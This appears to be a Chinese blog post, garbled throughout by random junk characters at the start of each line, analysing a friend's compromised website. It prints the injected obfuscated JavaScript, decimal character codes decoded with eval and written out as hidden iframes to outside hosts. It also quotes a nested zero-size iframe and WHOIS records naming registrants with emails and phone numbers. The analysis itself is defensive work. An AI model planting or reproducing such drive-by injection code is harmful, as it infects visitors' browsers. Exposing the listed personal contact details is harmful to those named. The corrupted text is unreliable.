首发在我的博客里面，
'|R|7nQAj 3i~{x[Jc http://www.areway.cn/?p=175 xG L"N1 QLl44*@ D40VJ3TUc 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
MWf%Lh;R b1!%xdy_T <script>t=’60,105,102,114,97,109,101,
R!CUR~F 32,115,114,99,61,104,116,116,112,58,47,47,
&pl;U\dc*a 102,114,101,101,46,117,45,117,117,117,46,99,
UU`qI}Ys8F 110,47,101,114,114,111,114,46,104,116,109,
]F! h~> 32,119,105,100,116,104,61,49,48,48,32,104,
| 'G$}]H 101,105,103,104,116,61,48,62,60,47,105,102,
e(A & VIp 114,97,109,101,62′;
zv@o- R$l t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
\v Go5` 4+:u2&I <script>t=’60,105,102,114,97,109,101,32,115,
r$zXb9a|< 114,99,61,104,116,116,112,58,47,47,102,114,
E;0"1
P|S 101,101,46,117,45,117,117,117,46,99,110,47,
JJ Xf%o0yq 101,114,114,111,114,46,104,116,109,32,119,
<h[^&CY{ 105,100,116,104,61,49,48,48,32,104,101,105,
,0xN#&?Ohh 103,104,116,61,48,62,60,47,105,102,114,97,
u Rg^ : 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
]d FWIvC document.write(t);</script>
8nM]G4H.f ?'r[P03 <html xmlns=”
u5[Wr : http://www.w3.org/1999/xhtml ERplDSfO- “>
\W!<xE <head>
-xlI'gNg7 <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
9'M({/7y <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
qm@hD>W+ <title>首页 - 爱生活家庭网
b-XBs7OAx d"a`?+(Q 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
"`zw( 转换字符串后的大概内容是（谁点击后果自付）：
|kD?^Nx <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
T^W8_rm *3 &bb*~W- 查询玉米u-uuu.cn的详细信息：
B}.ia_&DLR Domain Name: u-uuu.cn
HAXx`r< ROID: 20070901s10001s64972306-cn
[gDvAtTZ5 Domain Status: ok
/hHD\+ 0({ Registrant Organization: 王雷
WJWhx4Hk Registrant Name: 王雷
'|.u*M, b Administrative Email:
czlovexs@126.com Zzs pE} Sponsoring Registrar: 北京万网志成科技有限公司
D lP= R Name Server:ns.yovole.com
j43HS Y7@ Name Server:ns1.yovole.com
xhv)rhu@ Registration Date: 2007-09-01 17:54
~mU#u\r(* Expiration Date: 2008-09-01 17:54
]up:pddIh 最后PING了一下地址 都没有什么….
}Na*jr0y9{ S BA;p7^" 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
@ M-bE= <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
}|;n[+ } <script language=”javascript” src=”
}T6jQ:?@ http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script BDA\9 m^3 >
$: -Ptm@ 这个玉米应该有可能是木马作者的：
tW +I? foafau.info的详细信息：
> :Ec Access to INFO WHOIS information is provided to assist persons in
- J:vYhq|g determining the contents of a domain name registration record in the
&o(?
}W
Afilias registry database. The data in this record is provided by
l6RJour Afilias Limited for informational purposes only, and Afilias does not
:iJ= 9 guarantee its accuracy. This service is intended only for query-based
TG($l2 access. You agree that you will use this data only for lawful purposes
DE tq]|80m and that, under no circumstances will you use this data to: (a) allow,
TQ FD enable, or otherwise support the transmission by e-mail, telephone, or
mtp[] facsimile of mass unsolicited, commercial advertising or solicitations
f|EWu to entities other than the data recipient’s own existing customers; or
. 2WZb_ B (b) enable high volume, automated, electronic processes that send
Wo%& ,>]<H queries or data to the systems of Registry Operator, a Registrar, or
5m/r,d^H Afilias except as reasonably necessary to register domain names or
RV~w+%f modify existing registrations. All rights reserved. Afilias reserves
) Ez=#dIq the right to modify these terms at any time. By submitting this query,
zuOIos
you agree to abide by this policy.
7~
2X/ Domain ID:D22418703-LRMS
&c 'unKH Domain Name:FOAFAU.INFO
-$*YN{D+ Created On:20-Nov-2007 16:05:42 UTC
lVt gg? Last Updated On:20-Nov-2007 16:05:44 UTC
8K$:9+OY Expiration Date:20-Nov-2008 16:05:42 UTC
9r!%PjNvE Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
` 8Gwf;P1 Status:CLIENT DELETE PROHIBITED
L Y "/ Q Status:CLIENT RENEW PROHIBITED
[}Nfs3IlBw Status:CLIENT TRANSFER PROHIBITED
GlaWBF# Status:CLIENT UPDATE PROHIBITED
'#XP:nqFkK Status:TRANSFER PROHIBITED
X~x]VKr/ Registrant ID:GODA-040110615
<[*s%9)'9 Registrant Name:liu hong
b`IC)xN$ Registrant Organization:
SYyH_0N Registrant Street1:beijing
YVzK$ k'3U Registrant Street2:
f -#fi7 Registrant Street3:
5 p750`n Registrant City:beijing
{3?g8e]zr Registrant State/Province:
BZE19! Registrant Postal Code:100000
OLv ( Registrant Country:CN
edm&,p h] Registrant Phone:+86.860108888777
=,s MOJ c> Registrant Phone Ext.:
c~c YN W: Registrant FAX:
?x:\RNB/ Registrant FAX Ext.:
_)ERi*}x8 Registrant Email:bbbshiji@163.com
#3.\ }d) Admin ID:GODA-240110615
ms~ mg: Admin Name:liu hong
\K?3LtJ Admin Organization:
/dCZoz~~T Admin Street1:beijing
UOq$ 88sr Admin Street2:
*Owq_)_ (| Admin Street3:
UO</4WJ Admin City:beijing
K[sfsWQ. Admin State/Province:
y- g5`@ Admin Postal Code:100000
&u8BGMl2 Admin Country:CN
<yeG0`}t Admin Phone:+86.860108888777
:R _(+EK1 Admin Phone Ext.:
[! v:fj Admin FAX:
3ZC[H'| Admin FAX Ext.:
7;Wj ^# Admin Email:bbbshiji@163.com
\jC}>9 Billing ID:GODA-340110615
4Vt Y R Billing Name:liu hong
mI l_
[ Billing Organization:
Y40{v(Pi Billing Street1:beijing
=oSv=xY Billing Street2:
%lvSO/F+ Billing Street3:
hhwV )Z Billing City:beijing
d6_ CsqV Billing State/Province:
F3+)bIz Billing Postal Code:100000
(fq>P 1- Billing Country:CN
z d+8fP/UB Billing Phone:+86.860108888777
W8\K_M} Billing Phone Ext.:
"8s0~ [6S Billing FAX:
Pb!kl # Billing FAX Ext.:
98 A ; R Billing Email:bbbshiji@163.com
Zl]\sJ1" Tech ID:GODA-140110615
cU+/I>V Tech Name:liu hong
7Rq;V=2YV Tech Organization:
($]y*| Obn Tech Street1:beijing
9NVe>\s_ Tech Street2:
fAJQ8nb{@] Tech Street3:
'9-8_; Tech City:beijing
1Ocy rn Tech State/Province:
5gi`&t` Tech Postal Code:100000
Wh "o L;O Tech Country:CN
!\CoJ.5= Tech Phone:+86.860108888777
^;N +"oq!y Tech Phone Ext.:
2 rne=L Tech FAX:
U nG G% Tech FAX Ext.:
53#7Yy Tech Email:bbbshiji@163.com
;A1pqHr Name Server:NS27.DOMAINCONTROL.COM
Ig]Gg/1G Name Server:NS28.DOMAINCONTROL.COM
\9!W^i[+ Name Server:
;g*ab Name Server:
S. BM/M Name Server:
1S <V,9( Name Server:
fH>]>2fS Name Server:
jg#%h` Name Server:
lQldW|S> Name Server:
oC" c%e8 Name Server:
:FB#,AOa_ Name Server:
&p0*:(j Name Server:
10{ZW@!7 Name Server:
+:;r} 7Zh _a^%V9t 接着下载每个文件里面的代码：
y$7<ZBG 一步一步看..
9)'L,Xt4:T 
m8fxDepFA 
UV$v: >K# 
0d~>zKho 
Zn| vT&:Hg 
<T{PuS1<o 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
